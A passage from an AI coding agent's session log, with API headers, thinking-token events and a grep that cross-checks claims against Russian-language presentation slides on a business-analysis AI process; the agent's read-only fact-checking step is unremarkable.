\"rejected\",\n[2026-09-29T07:54:56.872Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:54:56.875Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:54:56.879Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:54:56.884Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:54:56.889Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:54:56.892Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:54:56.896Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:54:56.900Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:54:56.905Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:54:56.909Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:54:56.918Z] [STDOUT]   \"request-id\": \"req_011CfXNUr2U5whXuFkTPUzX3\",\n[2026-09-29T07:54:56.928Z] [STDOUT]   \"traceresponse\": \"00-f4a351452881a8cc5e6b33cd0fff4cdb-b60a067f68d2e24e-01\",\n[2026-09-29T07:54:56.948Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:56.952Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:56.955Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:54:56.960Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:56.971Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:56.975Z] [STDOUT]   \"cf-ray\": \"a4296c326cf65d90-FRA\",\n[2026-09-29T07:54:56.980Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:54:56.984Z] [STDOUT] [log_6bcbb0] response parsed {\n[2026-09-29T07:54:56.987Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:56.991Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:56.995Z] [STDOUT]   body: X {\n[2026-09-29T07:54:57.000Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:54:57.009Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:54:57.014Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:54:57.018Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:54:57.021Z] [STDOUT]     },\n[2026-09-29T07:54:57.024Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:54:57.028Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:54:57.036Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:54:57.039Z] [STDOUT]   },\n[2026-09-29T07:54:57.047Z] [STDOUT]   durationMs: 848,\n[2026-09-29T07:54:57.050Z] [STDOUT] }\n[2026-09-29T07:54:57.103Z] [INFO] {\n[2026-09-29T07:54:57.103Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:57.103Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:57.103Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:54:57.103Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:57.103Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:57.103Z] [INFO]   \"uuid\": \"817d5087-b474-4751-b75c-48209a549678\"\n[2026-09-29T07:54:57.103Z] [INFO] }\n[2026-09-29T07:54:58.181Z] [INFO] {\n[2026-09-29T07:54:58.181Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:58.181Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:58.181Z] [INFO]   \"estimated_tokens\": 100,\n[2026-09-29T07:54:58.181Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:58.181Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:58.181Z] [INFO]   \"uuid\": \"585663fb-a8a9-4884-b6b1-434331d351dd\"\n[2026-09-29T07:54:58.181Z] [INFO] }\n[2026-09-29T07:54:59.562Z] [INFO] {\n[2026-09-29T07:54:59.562Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:59.562Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:59.562Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:54:59.562Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:59.562Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:59.562Z] [INFO]   \"uuid\": \"b4f04080-882c-4694-8cb9-e5e53c3d4dc6\"\n[2026-09-29T07:54:59.562Z] [INFO] }\n[2026-09-29T07:55:00.964Z] [INFO] {\n[2026-09-29T07:55:00.964Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:00.964Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:00.964Z] [INFO]   \"estimated_tokens\": 500,\n[2026-09-29T07:55:00.964Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:00.964Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:00.964Z] [INFO]   \"uuid\": \"479535fd-4ea5-40ec-80bd-ebf716c9a1d3\"\n[2026-09-29T07:55:00.964Z] [INFO] }\n[2026-09-29T07:55:02.063Z] [INFO] {\n[2026-09-29T07:55:02.063Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:02.063Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:02.063Z] [INFO]   \"estimated_tokens\": 600,\n[2026-09-29T07:55:02.063Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:02.063Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:02.063Z] [INFO]   \"uuid\": \"642b7b45-fdee-4b2f-9905-44f745f40970\"\n[2026-09-29T07:55:02.063Z] [INFO] }\n[2026-09-29T07:55:03.165Z] [INFO] {\n[2026-09-29T07:55:03.165Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:03.165Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:03.165Z] [INFO]   \"estimated_tokens\": 700,\n[2026-09-29T07:55:03.165Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:03.165Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:03.165Z] [INFO]   \"uuid\": \"c3243adf-7df1-4f8f-9080-aeeb3558098b\"\n[2026-09-29T07:55:03.165Z] [INFO] }\n[2026-09-29T07:55:04.655Z] [INFO] {\n[2026-09-29T07:55:04.655Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:04.655Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:04.655Z] [INFO]   \"estimated_tokens\": 850,\n[2026-09-29T07:55:04.655Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:04.655Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:04.655Z] [INFO]   \"uuid\": \"2b254405-5e36-42bc-a8d3-0b9c287a26dd\"\n[2026-09-29T07:55:04.655Z] [INFO] }\n[2026-09-29T07:55:07.259Z] [INFO] {\n[2026-09-29T07:55:07.259Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:07.259Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:07.259Z] [INFO]   \"estimated_tokens\": 975,\n[2026-09-29T07:55:07.259Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:07.259Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:07.259Z] [INFO]   \"uuid\": \"3e325bbc-722b-45f8-892f-2ffa36a1d41c\"\n[2026-09-29T07:55:07.259Z] [INFO] }\n[2026-09-29T07:55:07.284Z] [INFO] {\n[2026-09-29T07:55:07.284Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:07.284Z] [INFO]   \"message\": {\n[2026-09-29T07:55:07.284Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:07.284Z] [INFO]     \"id\": \"msg_011CfXNUri8oF7r8PcDPW4o7\",\n[2026-09-29T07:55:07.284Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:07.284Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:07.284Z] [INFO]     \"content\": [\n[2026-09-29T07:55:07.284Z] [INFO]       {\n[2026-09-29T07:55:07.284Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:07.284Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:55:07.284Z] [INFO]         \"signature\": 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\"assistant\",\n[2026-09-29T07:55:07.349Z] [INFO]   \"message\": {\n[2026-09-29T07:55:07.349Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:07.349Z] [INFO]     \"id\": \"msg_011CfXNUri8oF7r8PcDPW4o7\",\n[2026-09-29T07:55:07.349Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:07.349Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:07.349Z] [INFO]     \"content\": [\n[2026-09-29T07:55:07.349Z] [INFO]       {\n[2026-09-29T07:55:07.349Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:07.349Z] [INFO]         \"thinking\": \"Most facts have checked out so far, including the CVE, LangGraph MIT license, node counts, and run numbers. I still need to verify a few remaining claims against the slides and sources.\\n\\n\",\n[2026-09-29T07:55:07.349Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:55:07.349Z] [INFO]     ],\n[2026-09-29T07:55:07.349Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:07.349Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:07.349Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:07.349Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:07.349Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:07.349Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:07.349Z] [INFO]       \"cache_creation_input_tokens\": 5637,\n[2026-09-29T07:55:07.349Z] [INFO]       \"cache_read_input_tokens\": 35966,\n[2026-09-29T07:55:07.349Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:07.349Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:07.349Z] [INFO]         \"ephemeral_1h_input_tokens\": 5637\n[2026-09-29T07:55:07.349Z] [INFO]       },\n[2026-09-29T07:55:07.349Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:55:07.349Z] [INFO]       \"service_tier\": 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}\n[2026-09-29T07:55:08.627Z] [INFO] {\n[2026-09-29T07:55:08.627Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"message\": {\n[2026-09-29T07:55:08.627Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:08.627Z] [INFO]     \"id\": \"msg_011CfXNUri8oF7r8PcDPW4o7\",\n[2026-09-29T07:55:08.627Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:08.627Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:08.627Z] [INFO]     \"content\": [\n[2026-09-29T07:55:08.627Z] [INFO]       {\n[2026-09-29T07:55:08.627Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:08.627Z] [INFO]         \"id\": \"toolu_01UrCcwQiU9QwgVigxuWm2gG\",\n[2026-09-29T07:55:08.627Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:55:08.627Z] [INFO]         \"input\": {\n[2026-09-29T07:55:08.627Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; S=$P/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\ngrep -n -i 'BCREQ-1074\\\\|\u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\\\\|\u043f\u0435\u0440\u0435\u0434\u0430\u0447\\\\|23 \\\\|\u0434\u043e\u043c\u0435\u043d.*\u043e\u043f\u0435\u0440\u0430\u0446\\\\|1027\\\\|11 \u0441\u0443\u0449\u043d\\\\|7 \u0440\u0430\u0437\u0434\u0435\u043b\\\\|\u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\\\\|contact-center\\\\|\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\\\|\u043a\u0430\u043d\u043e\u043d\u0438\u0447\\\\|\u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442\\\\|\u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442\\\\|\u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\\\\|Dify\\\\|Camunda\\\\|AI Agent\\\\|\u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432' $S | head -40\",\n[2026-09-29T07:55:08.627Z] [INFO]           \"description\": \"Cross-check claims against the slides document\"\n[2026-09-29T07:55:08.627Z] [INFO]         },\n[2026-09-29T07:55:08.627Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:08.627Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:08.627Z] [INFO]         }\n[2026-09-29T07:55:08.627Z] [INFO]       }\n[2026-09-29T07:55:08.627Z] [INFO]     ],\n[2026-09-29T07:55:08.627Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:08.627Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:08.627Z] [INFO]       \"cache_creation_input_tokens\": 5637,\n[2026-09-29T07:55:08.627Z] [INFO]       \"cache_read_input_tokens\": 35966,\n[2026-09-29T07:55:08.627Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:08.627Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:08.627Z] [INFO]         \"ephemeral_1h_input_tokens\": 5637\n[2026-09-29T07:55:08.627Z] [INFO]       },\n[2026-09-29T07:55:08.627Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:55:08.627Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:08.627Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:08.627Z] [INFO]     },\n[2026-09-29T07:55:08.627Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:08.627Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:08.627Z] [INFO]   },\n[2026-09-29T07:55:08.627Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:08.627Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"uuid\": \"09f8fb45-ac5c-4ee1-89ef-d4ea7d985514\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:08.613Z\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"request_id\": \"req_011CfXNUr2U5whXuFkTPUzX3\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:08.627Z] [INFO]     \"toolu_01UrCcwQiU9QwgVigxuWm2gG\": {\n[2026-09-29T07:55:08.627Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; S=$P/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\ngrep -n -i 'BCREQ-1074\\\\|\u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\\\\|\u043f\u0435\u0440\u0435\u0434\u0430\u0447\\\\|23 \\\\|\u0434\u043e\u043c\u0435\u043d.*\u043e\u043f\u0435\u0440\u0430\u0446\\\\|1027\\\\|11 \u0441\u0443\u0449\u043d\\\\|7 \u0440\u0430\u0437\u0434\u0435\u043b\\\\|\u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\\\\|contact-center\\\\|\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\\\|\u043a\u0430\u043d\u043e\u043d\u0438\u0447\\\\|\u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442\\\\|\u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442\\\\|\u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\\\\|Dify\\\\|Camunda\\\\|AI Agent\\\\|\u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432' $S | head -40\",\n[2026-09-29T07:55:08.627Z] [INFO]       \"description\": \"Cross-check claims against the slides document\"\n[2026-09-29T07:55:08.627Z] [INFO]     }\n[2026-09-29T07:55:08.627Z] [INFO]   }\n[2026-09-29T07:55:08.627Z] [INFO] }\n[2026-09-29T07:55:10.480Z] [INFO] {\n[2026-09-29T07:55:10.480Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:10.480Z] [INFO]   \"message\": {\n[2026-09-29T07:55:10.480Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:10.480Z] [INFO]     \"content\": [\n[2026-09-29T07:55:10.480Z] [INFO]       {\n[2026-09-29T07:55:10.480Z] [INFO]         \"tool_use_id\": \"toolu_01UrCcwQiU9QwgVigxuWm2gG\",\n[2026-09-29T07:55:10.480Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:10.480Z] [INFO]         \"content\": \"31:  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n40:  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n85:- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n120:- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n126:**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n191:  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n223:[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n332:3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n347:| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n380:  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n413:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n421:  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n467:- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n503:| \u041e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 | [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) |\",\n[2026-09-29T07:55:10.480Z] [INFO]         \"is_error\": false\n[2026-09-29T07:55:10.480Z] [INFO]       }\n[2026-09-29T07:55:10.480Z] [INFO]     ]\n[2026-09-29T07:55:10.480Z] [INFO]   },\n[2026-09-29T07:55:10.480Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:10.480Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:10.480Z] [INFO]   \"uuid\": \"77d65134-7d6f-41c1-87eb-e9791df09f9c\",\n[2026-09-29T07:55:10.480Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:10.476Z\",\n[2026-09-29T07:55:10.480Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:10.480Z] [INFO]     \"stdout\": \"31:  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n40:  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n85:- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n120:- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n126:**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n191:  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n223:[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n332:3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n347:| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n380:  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n413:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n421:  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n467:- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 